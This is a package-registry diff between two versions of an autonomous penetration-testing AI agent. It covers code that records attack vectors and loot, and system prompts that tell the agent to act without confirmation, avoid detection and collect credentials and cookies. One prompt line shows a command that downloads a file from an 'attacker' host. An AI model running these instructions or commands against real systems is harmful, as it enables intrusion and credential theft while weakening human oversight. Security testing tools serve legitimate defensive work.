pentesting 0.48.1 → 0.48.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -12
- package/dist/main.js +60 -6
- package/dist/prompts/base.md +35 -5
- package/dist/prompts/strategy.md +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -33,18 +33,6 @@ Pentesting support tool
|
|
|
33
33
|
|
|
34
34
|
## Quick Start with Docker (Recommended)
|
|
35
35
|
|
|
36
|
-
|
|
37
|
-
```bash
|
|
38
|
-
docker run -it --rm \
|
|
39
|
-
-e PENTEST_API_KEY="your_glm_api_key" \
|
|
40
|
-
-e PENTEST_BASE_URL="https://open.bigmodel.cn/api/paas/v4" \
|
|
41
|
-
-e PENTEST_MODEL="glm-5" \
|
|
42
|
-
-v ./pentest-data:/root/.pentest \
|
|
43
|
-
agnusdei1207/pentesting
|
|
44
|
-
```
|
|
45
|
-
|
|
46
|
-
### Using Brave Search
|
|
47
|
-
|
|
48
36
|
```bash
|
|
49
37
|
docker run -it --rm \
|
|
50
38
|
-e PENTEST_API_KEY="your_glm_api_key" \
|
package/dist/main.js
CHANGED
|
@@ -331,7 +331,7 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
331
331
|
|
|
332
332
|
// src/shared/constants/agent.ts
|
|
333
333
|
var APP_NAME = "Pentest AI";
|
|
334
|
-
var APP_VERSION = "0.48.
|
|
334
|
+
var APP_VERSION = "0.48.3";
|
|
335
335
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
336
336
|
var LLM_ROLES = {
|
|
337
337
|
SYSTEM: "system",
|
|
@@ -3237,7 +3237,7 @@ var EpisodicMemory = class {
|
|
|
3237
3237
|
this.events = [];
|
|
3238
3238
|
}
|
|
3239
3239
|
};
|
|
3240
|
-
var MEMORY_FILE = join3(
|
|
3240
|
+
var MEMORY_FILE = join3(WORKSPACE.MEMORY, "persistent-knowledge.json");
|
|
3241
3241
|
var PersistentMemory = class {
|
|
3242
3242
|
knowledge;
|
|
3243
3243
|
constructor() {
|
|
@@ -3328,7 +3328,7 @@ var PersistentMemory = class {
|
|
|
3328
3328
|
}
|
|
3329
3329
|
save() {
|
|
3330
3330
|
try {
|
|
3331
|
-
mkdirSync2(
|
|
3331
|
+
mkdirSync2(WORKSPACE.MEMORY, { recursive: true });
|
|
3332
3332
|
writeFileSync4(MEMORY_FILE, JSON.stringify(this.knowledge, null, 2));
|
|
3333
3333
|
} catch {
|
|
3334
3334
|
}
|
|
@@ -9795,7 +9795,10 @@ function clearWorkspace() {
|
|
|
9795
9795
|
{ path: WORKSPACE.DEBUG, label: "debug logs" },
|
|
9796
9796
|
{ path: WORKSPACE.TMP, label: "temp files" },
|
|
9797
9797
|
{ path: WORKSPACE.OUTPUTS, label: "outputs" },
|
|
9798
|
-
{ path: WORKSPACE.JOURNAL, label: "journal" }
|
|
9798
|
+
{ path: WORKSPACE.JOURNAL, label: "journal" },
|
|
9799
|
+
{ path: WORKSPACE.TURNS, label: "turn records" },
|
|
9800
|
+
{ path: WORKSPACE.LOOT, label: "loot" },
|
|
9801
|
+
{ path: WORKSPACE.REPORTS, label: "reports" }
|
|
9799
9802
|
];
|
|
9800
9803
|
for (const dir of dirsToClean) {
|
|
9801
9804
|
try {
|
|
@@ -10767,6 +10770,30 @@ RULES:
|
|
|
10767
10770
|
this.state.addLoot({ type: LOOT_TYPES.CREDENTIAL, host: "auto-extracted", detail: cred, obtainedAt: Date.now() });
|
|
10768
10771
|
}
|
|
10769
10772
|
}
|
|
10773
|
+
if (digestResult?.memo?.attackVectors.length && digestResult.memo.attackValue === "HIGH") {
|
|
10774
|
+
const existingTitles = new Set(this.state.getFindings().map((f) => f.title));
|
|
10775
|
+
for (const vector of digestResult.memo.attackVectors) {
|
|
10776
|
+
const title = `[Auto] ${vector.slice(0, 100)}`;
|
|
10777
|
+
if (!existingTitles.has(title)) {
|
|
10778
|
+
this.state.addFinding({
|
|
10779
|
+
id: generateId(),
|
|
10780
|
+
title,
|
|
10781
|
+
severity: "high",
|
|
10782
|
+
affected: [],
|
|
10783
|
+
description: `Auto-extracted by Analyst LLM: ${vector}`,
|
|
10784
|
+
evidence: digestResult.memo.keyFindings.slice(0, 5),
|
|
10785
|
+
isVerified: false,
|
|
10786
|
+
remediation: "",
|
|
10787
|
+
foundAt: Date.now()
|
|
10788
|
+
});
|
|
10789
|
+
this.state.attackGraph.addVulnerability(title, "auto-detected", "high", false);
|
|
10790
|
+
existingTitles.add(title);
|
|
10791
|
+
}
|
|
10792
|
+
}
|
|
10793
|
+
}
|
|
10794
|
+
if (this.state.getFindings().length > 0 && this.state.getPhase() === PHASES.RECON) {
|
|
10795
|
+
this.state.setPhase(PHASES.VULN_ANALYSIS);
|
|
10796
|
+
}
|
|
10770
10797
|
}
|
|
10771
10798
|
/**
|
|
10772
10799
|
* Enrich tool error — delegates to extracted module (§3-1)
|
|
@@ -11308,6 +11335,26 @@ function rotateOutputFiles() {
|
|
|
11308
11335
|
} catch {
|
|
11309
11336
|
}
|
|
11310
11337
|
}
|
|
11338
|
+
function rotateTurnRecords() {
|
|
11339
|
+
try {
|
|
11340
|
+
const turnsDir = WORKSPACE.TURNS;
|
|
11341
|
+
if (!existsSync8(turnsDir)) return;
|
|
11342
|
+
const files = readdirSync2(turnsDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".md")).sort();
|
|
11343
|
+
if (files.length <= MAX_JOURNAL_ENTRIES) return;
|
|
11344
|
+
const toDelete = files.slice(0, files.length - MAX_JOURNAL_ENTRIES);
|
|
11345
|
+
for (const file of toDelete) {
|
|
11346
|
+
try {
|
|
11347
|
+
unlinkSync5(join10(turnsDir, file));
|
|
11348
|
+
} catch {
|
|
11349
|
+
}
|
|
11350
|
+
}
|
|
11351
|
+
debugLog("general", "Turn records rotated", {
|
|
11352
|
+
deleted: toDelete.length,
|
|
11353
|
+
remaining: MAX_JOURNAL_ENTRIES
|
|
11354
|
+
});
|
|
11355
|
+
} catch {
|
|
11356
|
+
}
|
|
11357
|
+
}
|
|
11311
11358
|
|
|
11312
11359
|
// src/agents/prompt-builder.ts
|
|
11313
11360
|
var __dirname3 = dirname5(fileURLToPath3(import.meta.url));
|
|
@@ -11337,8 +11384,14 @@ var CORE_KNOWLEDGE_FILES = [
|
|
|
11337
11384
|
// Attack prioritization, first-turn protocol, upgrade loop
|
|
11338
11385
|
AGENT_FILES.ORCHESTRATOR,
|
|
11339
11386
|
// Phase transitions, multi-target management
|
|
11340
|
-
AGENT_FILES.EVASION
|
|
11387
|
+
AGENT_FILES.EVASION,
|
|
11341
11388
|
// Detection avoidance (always relevant)
|
|
11389
|
+
AGENT_FILES.ZERO_DAY,
|
|
11390
|
+
// Known CVE lookup + unknown vuln discovery methodology
|
|
11391
|
+
AGENT_FILES.PAYLOAD_CRAFT,
|
|
11392
|
+
// Payload mutation and filter bypass techniques
|
|
11393
|
+
AGENT_FILES.INFRA
|
|
11394
|
+
// Active Directory / infrastructure attack methodology
|
|
11342
11395
|
];
|
|
11343
11396
|
var PHASE_TECHNIQUE_MAP = {
|
|
11344
11397
|
[PHASES.RECON]: ["network-svc", "shells", "crypto"],
|
|
@@ -12028,7 +12081,7 @@ ${extraction.content.trim()}
|
|
|
12028
12081
|
try {
|
|
12029
12082
|
ensureDirExists(WORKSPACE.TURNS);
|
|
12030
12083
|
const ts = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
|
|
12031
|
-
const turnFileName = `turn-${String(this.turnCounter).padStart(
|
|
12084
|
+
const turnFileName = `turn-${String(this.turnCounter).padStart(4, "0")}_${ts}.md`;
|
|
12032
12085
|
const turnPath = join13(WORKSPACE.TURNS, turnFileName);
|
|
12033
12086
|
const turnContent = formatTurnRecord({
|
|
12034
12087
|
turn: this.turnCounter,
|
|
@@ -12073,6 +12126,7 @@ ${turnData}`
|
|
|
12073
12126
|
}
|
|
12074
12127
|
rotateJournalEntries();
|
|
12075
12128
|
rotateOutputFiles();
|
|
12129
|
+
rotateTurnRecords();
|
|
12076
12130
|
} catch {
|
|
12077
12131
|
}
|
|
12078
12132
|
this.turnCounter++;
|
package/dist/prompts/base.md
CHANGED
|
@@ -115,11 +115,41 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
|
|
|
115
115
|
|
|
116
116
|
### 1. Act, Don't Ask
|
|
117
117
|
- ScopeGuard enforces boundaries. Out-of-scope targets are automatically blocked
|
|
118
|
-
- Record findings immediately with add_finding
|
|
119
118
|
- **Execute tasks immediately without unnecessary confirmations/questions**
|
|
120
119
|
- If no results → **try a different approach** (never repeat the same method)
|
|
121
120
|
- ask_user is for: (1) physically unobtainable information (passwords, SSH keys, API tokens), (2) **confirming you're truly done** when all vectors are exhausted
|
|
122
121
|
|
|
122
|
+
### 🔴 CRITICAL: State Management — MANDATORY AFTER EVERY DISCOVERY
|
|
123
|
+
|
|
124
|
+
**You MUST call these tools to record your progress. If you skip these, your findings are LOST.**
|
|
125
|
+
|
|
126
|
+
**`add_finding`** — Call IMMEDIATELY when you **CONFIRM** a vulnerability:
|
|
127
|
+
- Confirmed LFI/RFI → `add_finding` with evidence (the actual command output)
|
|
128
|
+
- Confirmed SQLi → `add_finding` with evidence
|
|
129
|
+
- Confirmed RCE → `add_finding` with evidence
|
|
130
|
+
- Confirmed auth bypass → `add_finding` with evidence
|
|
131
|
+
- **Rule: If you can reproduce it, it's a confirmed finding. Record it NOW.**
|
|
132
|
+
|
|
133
|
+
**`add_target`** — Call when you discover a new host or service:
|
|
134
|
+
- New IP found during recon → `add_target`
|
|
135
|
+
- New ports/services discovered → `add_target` (merges with existing)
|
|
136
|
+
|
|
137
|
+
**`add_loot`** — Call when you find credentials, tokens, keys, hashes:
|
|
138
|
+
- Password, hash, API key, SSH key, JWT, session cookie → `add_loot`
|
|
139
|
+
|
|
140
|
+
**`update_phase`** — Call when your ACTIVITY changes:
|
|
141
|
+
- Scanning/enumerating services → `update_phase({ phase: "recon" })`
|
|
142
|
+
- Testing for vulnerabilities → `update_phase({ phase: "vulnerability_analysis" })`
|
|
143
|
+
- Exploiting confirmed vulns → `update_phase({ phase: "exploit" })`
|
|
144
|
+
- Post-access enumeration → `update_phase({ phase: "post_exploitation" })`
|
|
145
|
+
- Escalating privileges → `update_phase({ phase: "privilege_escalation" })`
|
|
146
|
+
- Moving to other hosts → `update_phase({ phase: "lateral_movement" })`
|
|
147
|
+
|
|
148
|
+
⚠️ **Self-Check Every Turn:**
|
|
149
|
+
- "Did I confirm a vulnerability but NOT call `add_finding`?" → Call it NOW
|
|
150
|
+
- "Am I exploiting but Phase is still 'recon'?" → Call `update_phase` NOW
|
|
151
|
+
- "Did I find credentials but NOT call `add_loot`?" → Call it NOW
|
|
152
|
+
|
|
123
153
|
### 2. ask_user Rules
|
|
124
154
|
- Use received values **immediately in the next command** — receiving and not using is forbidden
|
|
125
155
|
- Once received → **reuse** — never ask for the same thing again
|
|
@@ -602,9 +632,9 @@ Your past actions and insights are saved as files. Use them freely:
|
|
|
602
632
|
|
|
603
633
|
```
|
|
604
634
|
.pentesting/memory/turns/
|
|
605
|
-
├── summary.md
|
|
606
|
-
├── turn-
|
|
607
|
-
├── turn-
|
|
635
|
+
├── summary.md ← Full session summary (updated every turn)
|
|
636
|
+
├── turn-0001_2026-02-21T08-30-15.md ← Turn 1 details
|
|
637
|
+
├── turn-0002_2026-02-21T08-31-22.md ← Turn 2 details
|
|
608
638
|
└── ...
|
|
609
639
|
```
|
|
610
640
|
|
|
@@ -615,5 +645,5 @@ Your past actions and insights are saved as files. Use them freely:
|
|
|
615
645
|
|
|
616
646
|
**How to use:**
|
|
617
647
|
- `summary.md` gives you the full picture — read it to understand where you stand
|
|
618
|
-
- Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-
|
|
648
|
+
- Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-0005_...")`
|
|
619
649
|
- All past findings, credentials, dead ends are preserved — never lost
|
package/dist/prompts/strategy.md
CHANGED
|
@@ -620,7 +620,7 @@ Layer 2 — Structural Reduction (cost: ~1ms)
|
|
|
620
620
|
Layer 3 — Semantic Digest (cost: ~2-5s, separate LLM call)
|
|
621
621
|
Only fires for truly massive outputs (>50K after Layer 1+2).
|
|
622
622
|
Produces a focused 30-line intelligence summary.
|
|
623
|
-
Full output is ALWAYS saved to
|
|
623
|
+
Full output is ALWAYS saved to .pentesting/outputs/ for reference.
|
|
624
624
|
```
|
|
625
625
|
|
|
626
626
|
### Agent Behavioral Rules for Output Handling
|